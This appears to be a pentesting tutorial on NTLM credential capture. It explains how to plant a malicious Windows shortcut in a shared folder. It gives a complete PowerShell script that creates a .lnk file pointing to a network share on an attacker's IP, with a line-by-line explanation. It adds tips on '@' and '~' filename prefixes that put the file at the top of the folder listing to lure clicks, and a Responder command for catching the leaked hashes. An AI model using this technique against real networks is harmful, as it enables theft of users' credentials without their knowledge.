Placing a malicious file in a shared folder can lead to some great results!
$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\\test.lnk")
$lnk.TargetPath = "\\\\192.168.150.131\\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\\system32\\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()
$objShell = New-Object -ComObject WScript.shell
WScript.Shell
COM object, which allows interaction with Windows shell features, such as creating shortcuts.$lnk = $objShell.CreateShortcut("C:\\test.lnk")
test.lnk
) in the C:\\
directory.$lnk.TargetPath = "\\\\192.168.150.131\\@test.png"
@test.png
) hosted on a network share at 192.168.150.131
- the attacker’s machine.$lnk.WindowStyle = 1
1
means it will open in a normal window.$lnk.IconLocation = "%windir%\\system32\\shell32.dll, 3"
%windir%\\system32\\shell32.dll, 3
refers to the third icon inside the shell32.dll
library.$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
Ctrl + Alt + T
) to open the shortcut.$lnk.Save()
After all this is done, add ‘@’ or ‘~’ in front of the test.lnk
file
The ~@
prefix ensures the file appears as one of the first items when viewed in File Explorer
<aside> 💡
Sorting Order in File Explorer
@
and ~
) come before letters and numbers.@filename.lnk
or ~filename.lnk
will appear before files that start with letters (A-Z
or a-z
) in alphabetical order.Start Menu & Desktop Shortcut Priority
@
, ~
) may be placed at the top of the list.Exploitation Techniques
.lnk
files) at the top of a directory, making it more likely that a user will click on it.@test.png
could be at the top, increasing the chances of a user interacting with it.
</aside>After all this is done, set up Responder in the attacker machine and wait.
sudo responder -I eth0 -dPv